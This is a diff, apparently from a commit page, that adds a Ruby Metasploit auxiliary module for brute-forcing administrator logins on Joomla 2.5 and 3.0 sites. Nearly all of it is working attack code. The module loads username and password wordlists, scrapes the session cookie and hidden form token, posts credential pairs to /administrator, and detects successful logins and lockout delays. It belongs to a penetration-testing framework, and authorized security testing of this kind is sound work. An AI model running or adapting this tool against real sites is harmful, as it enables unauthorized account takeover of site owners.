1
+ ##
2
+ # This module requires Metasploit: http//metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core'
7
+ require 'rex/proto/ntlm/message'
8
+
9
+
10
+ class Metasploit3 < Msf ::Auxiliary
11
+
12
+ include Msf ::Exploit ::Remote ::HttpClient
13
+ include Msf ::Auxiliary ::Report
14
+ include Msf ::Auxiliary ::AuthBrute
15
+
16
+ include Msf ::Auxiliary ::Scanner
17
+
18
+ def initialize
19
+ super (
20
+ 'Name' => 'BruteForce Joomla 2.5 or 3.0' ,
21
+ 'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0' ,
22
+ 'Author' => [ 'luisco100[at]gmail[dot]com' ] ,
23
+ 'References' =>
24
+ [
25
+ [ 'CVE' , '1999-0502' ] # Weak password Joomla
26
+ ] ,
27
+ 'License' => MSF_LICENSE
28
+ )
29
+
30
+ register_options (
31
+ [
32
+ OptPath . new ( 'USERPASS_FILE' , [ false , "File containing users and passwords separated by space, one pair per line" ,
33
+ File . join ( Msf ::Config . data_directory , "wordlists" , "http_default_userpass.txt" ) ] ) ,
34
+ OptPath . new ( 'USER_FILE' , [ false , "File containing users, one per line" ,
35
+ File . join ( Msf ::Config . data_directory , "wordlists" , "http_default_users.txt" ) ] ) ,
36
+ OptPath . new ( 'PASS_FILE' , [ false , "File containing passwords, one per line" ,
37
+ File . join ( Msf ::Config . data_directory , "wordlists" , "http_default_pass.txt" ) ] ) ,
38
+ OptString . new ( 'AUTH_URI' , [ false , "The URI to authenticate against (default:auto)" , "/administrator/index.php" ] ) ,
39
+ OptString . new ( 'FORM_URI' , [ false , "The FORM URI to authenticate against (default:auto)" , "/administrator" ] ) ,
40
+ OptString . new ( 'USER_VARIABLE' , [ false , "The name of the variable for the user field" , "username" ] ) ,
41
+ OptString . new ( 'PASS_VARIABLE' , [ false , "The name of the variable for the password field" , "passwd" ] ) ,
42
+ OptString . new ( 'WORD_ERROR' , [ false , "The word of message for detect that login fail" , "mod-login-username" ] ) ,
43
+ OptString . new ( 'WORD_ERROR_2' , [ false , "Second option for the word of message for detect that login fail" , "login.html" ] ) ,
44
+ OptString . new ( 'WORD_ERROR_DELAY' , [ false , "The word of message for active the delay time" , "por favor intente de nuevo en un minuto" ] ) ,
45
+ OptInt . new ( 'TIME_DELAY' , [ false , 'The delay time ' , 0 ] ) ,
46
+ OptString . new ( 'REQUESTTYPE' , [ false , "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)" , "POST" ] )
47
+ ] , self . class )
48
+ register_autofilter_ports ( [ 80 , 443 , 8080 , 8081 , 8000 , 8008 , 8443 , 8444 , 8880 , 8888 ] )
49
+ end
50
+
51
+ def find_auth_uri
52
+
53
+ if datastore [ 'AUTH_URI' ] and datastore [ 'AUTH_URI' ] . length > 0
54
+ paths = [ datastore [ 'AUTH_URI' ] ]
55
+ else
56
+ paths = %W{
57
+ /
58
+ /administrator/
59
+ }
60
+ end
61
+
62
+ paths . each do |path |
63
+ res = send_request_cgi ( {
64
+ 'uri' => path ,
65
+ 'method' => 'GET'
66
+ } , 10 )
67
+
68
+ next if not res
69
+ if res . code == 301 or res . code == 302 and res . headers [ 'Location' ] and res . headers [ 'Location' ] !~ /^http/
70
+ path = res . headers [ 'Location' ]
71
+ vprint_status ( "Following redirect: #{ path } " )
72
+ res = send_request_cgi ( {
73
+ 'uri' => path ,
74
+ 'method' => 'GET'
75
+ } , 10 )
76
+ next if not res
77
+ end
78
+
79
+ return path
80
+ end
81
+
82
+ return nil
83
+ end
84
+
85
+ def target_url
86
+ proto = "http"
87
+ if rport == 443 or ssl
88
+ proto = "https"
89
+ end
90
+ "#{ proto } ://#{ rhost } :#{ rport } #{ @uri . to_s } "
91
+ end
92
+
93
+ def run_host ( ip )
94
+ if ( datastore [ 'REQUESTTYPE' ] == "PUT" ) and ( datastore [ 'AUTH_URI' ] == "" )
95
+ print_error ( "You need need to set AUTH_URI when using PUT Method !" )
96
+ return
97
+ end
98
+ @uri = find_auth_uri
99
+
100
+ time_delay = datastore [ 'REQUESTTYPE' ]
101
+ if ! @uri
102
+ print_error ( "#{ target_url } No URI found that asks for HTTP authentication" )
103
+ return
104
+ end
105
+
106
+ @uri = "/#{ @uri } " if @uri [ 0 , 1 ] != "/"
107
+
108
+ print_status ( "Attempting to login to #{ target_url } " )
109
+
110
+ each_user_pass { |user , pass |
111
+ datastore [ 'REQUESTTYPE' ] = time_delay
112
+ do_login ( user , pass )
113
+ }
114
+ end
115
+
116
+ def do_login ( user = 'admin' , pass = 'admin' )
117
+ vprint_status ( "#{ target_url } - Trying username:'#{ user } ' with password:'#{ pass } '" )
118
+
119
+ response = do_http_login ( user , pass )
120
+ result = determine_result ( response )
121
+
122
+ if result == :success
123
+ print_good ( "#{ target_url } - Successful login '#{ user } ' : '#{ pass } '" )
124
+ return :abort if ( datastore [ 'STOP_ON_SUCCESS' ] )
125
+ return :next_user
126
+ else
127
+ vprint_error ( "#{ target_url } - Failed to login as '#{ user } '" )
128
+ if result == :delay
129
+ print_status ( "Estableciendo retraso de un minuto" )
130
+ userpass_sleep_interval_add
131
+ end
132
+ return
133
+ end
134
+ end
135
+
136
+ def do_http_login ( user , pass )
137
+
138
+ @uri_mod = @uri
139
+
140
+ if datastore [ 'REQUESTTYPE' ] == "GET"
141
+
142
+ @uri_mod = "#{ @uri } ?username=#{ user } &psd=#{ pass } "
143
+
144
+ begin
145
+ response = send_request_cgi ( {
146
+ 'uri' => @uri_mod ,
147
+ 'method' => datastore [ 'REQUESTTYPE' ] ,
148
+ 'username' => user ,
149
+ 'password' => pass
150
+ } )
151
+ return response
152
+ rescue ::Rex ::ConnectionError
153
+ vprint_error ( "#{ target_url } - Failed to connect to the web server" )
154
+ return nil
155
+ end
156
+ else
157
+
158
+ begin
159
+
160
+ user_var = datastore [ 'USER_VARIABLE' ]
161
+ pass_var = datastore [ 'PASS_VARIABLE' ]
162
+
163
+ referer_var = "http://#{ rhost } /administrator/index.php"
164
+ ctype = 'application/x-www-form-urlencoded'
165
+
166
+ uid , cval , valor_hidden = get_login_cookie
167
+
168
+ if uid
169
+ indice = 0
170
+ value_cookie = ""
171
+ #print_status("Longitud : #{uid.length}")
172
+ uid . each do |val_uid |
173
+ value_cookie = value_cookie + "#{ val_uid . strip } =#{ cval [ indice ] . strip } ;"
174
+ indice = indice +1
175
+ end
176
+ value_cookie = value_cookie
177
+ print_status ( "Value of cookie ( #{ value_cookie } ), Hidden ( #{ valor_hidden } =1 )" )
178
+
179
+ data = "#{ user_var } =#{ user } &"
180
+ data << "#{ pass_var } =#{ pass } &"
181
+ data << "lang=&"
182
+ data << "option=com_login&"
183
+ data << "task=login&"
184
+ data << "return=aW5kZXgucGhw&"
185
+ data << "#{ valor_hidden } =1"
186
+
187
+ response = send_request_raw ( {
188
+ 'uri' => @uri_mod ,
189
+ 'method' => datastore [ 'REQUESTTYPE' ] ,
190
+ 'cookie' => "#{ value_cookie } " ,
191
+ 'data' => data ,
192
+ 'headers' =>
193
+ {
194
+ 'Content-Type' => ctype ,
195
+ 'Referer' => referer_var ,
196
+ 'User-Agent' => "Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0" ,
197
+ } ,
198
+ } , 30 )
199
+
200
+ vprint_status ( "Código Primera respuesta : #{ response . code } " )
201
+
202
+ if ( response . code == 301 or response . code == 302 or response . code == 303 ) and response . headers [ 'Location' ]
203
+
204
+ path = response . headers [ 'Location' ]
205
+ print_status ( "Following redirect Response: #{ path } " )
206
+
207
+ response = send_request_raw ( {
208
+ 'uri' => path ,
209
+ 'method' => 'GET' ,
210
+ 'cookie' => "#{ value_cookie } " ,
211
+ } , 30 )
212
+ end
213
+
214
+ return response
215
+ else
216
+ print_error ( "#{ target_url } - Failed to get Cookies" )
217
+ end
218
+ rescue ::Rex ::ConnectionError
219
+ vprint_error ( "#{ target_url } - Failed to connect to the web server" )
220
+ return nil
221
+ end
222
+ end
223
+ end
224
+
225
+ def determine_result ( response )
226
+
227
+ return :abort unless response . kind_of? Rex ::Proto ::Http ::Response
228
+ return :abort unless response . code
229
+
230
+ if [ 200 , 301 , 302 ] . include? ( response . code )
231
+
232
+ #print_status("Respuesta: #{response.headers}")
233
+ #print_status("Respuesta Code: #{response.body}")
234
+
235
+ if response . to_s . include? datastore [ 'WORD_ERROR_DELAY' ]
236
+ return :delay
237
+ else
238
+ if response . to_s . include? datastore [ 'WORD_ERROR' ] or response . to_s . include? datastore [ 'WORD_ERROR_2' ]
239
+ return :fail
240
+ else
241
+ return :success
242
+ end
243
+ end
244
+ end
245
+ return :fail
246
+ end
247
+
248
+ def userpass_sleep_interval_add
249
+ sleep_time = datastore [ 'TIME_DELAY' ]
250
+ ::IO . select ( nil , nil , nil , sleep_time ) unless sleep_time == 0
251
+ end
252
+
253
+ def get_login_cookie
254
+
255
+ uri = normalize_uri ( datastore [ 'FORM_URI' ] )
256
+ uid = ''
257
+ cval = ''
258
+ valor_input_id = ''
259
+
260
+ res = send_request_raw ( { 'uri' => uri , 'method' => 'GET' , } )
261
+
262
+ if ( res . code == 301 )
263
+ path = res . headers [ 'Location' ]
264
+ vprint_status ( "Following redirect: #{ path } " )
265
+ res = send_request_cgi ( {
266
+ 'uri' => path ,
267
+ 'method' => 'GET'
268
+ } , 10 )
269
+ end
270
+
271
+ #print_status("respuesta Get login cookie: #{res.to_s}")
272
+
273
+ if res and res . code == 200 and res . headers [ 'Set-Cookie' ]
274
+ #Idetificar formulario login y obtener la variable de validacion de session de Joomla
275
+ if res . body and res . body =~ /<form action=([^\> ]+)\> (.*)<\/ form>/mi
276
+
277
+ #form = res.body.split(/<form action=([^\>]+) id="login-form" class="form-inline"\>(.*)<\/form>/mi)
278
+ form = res . body . split ( /<form action=([^\> ]+) method="post" id="form-login"\> (.*)<\/ form>/mi )
279
+ #print_status("#{form[1]}")
280
+
281
+ if form . length == 1 #No es Joomla 2.5
282
+ print_error ( "Probando Formulario 3.0" )
283
+ form = res . body . split ( /<form action=([^\> ]+) method="post" id="form-login" class="form-inline"\> (.*)<\/ form>/mi )
284
+ end
285
+
286
+ if not form
287
+ print_error ( "Formulario Joomla No Encontrado" )
288
+ form = res . body . split ( /<form id="login-form" action=([^\> ]+)\> (.*)<\/ form>/mi )
289
+ end
290
+
291
+ input_hidden = form [ 2 ] . split ( /<input type="hidden"([^\> ]+)\/ >/mi )
292
+ #print_status("Formulario Encontrado #{form[2]}")
293
+ print_status ( "--------> Formulario Joomla Encontrado <--------" )
294
+ #print_status("Campos Ocultos #{input_hidden[7]}")
295
+ input_id = input_hidden [ 7 ] . split ( "\" " )
296
+ #print_status("valor #{input_id[1]}")
297
+ valor_input_id = input_id [ 1 ]
298
+ end
299
+
300
+ #Obtener el nombre de la variable de cookie de Joomla
301
+ indice_cookie = 0
302
+ uid = Array . new
303
+ cval = Array . new
304
+ #print_status("cookie = #{res.headers['Set-Cookie']}")
305
+ res . headers [ 'Set-Cookie' ] . split ( ';' ) . each { |c |
306
+ if c . split ( '=' ) [ 0 ] . length > 10
307
+ uid . push ( c . split ( '=' ) [ 0 ] )
308
+ cval . push ( c . split ( '=' ) [ 1 ] )
309
+ end
310
+ }
311
+ return uid , cval , valor_input_id . strip
312
+ end
313
+ return nil
314
+ end
315
+ end
0 commit comments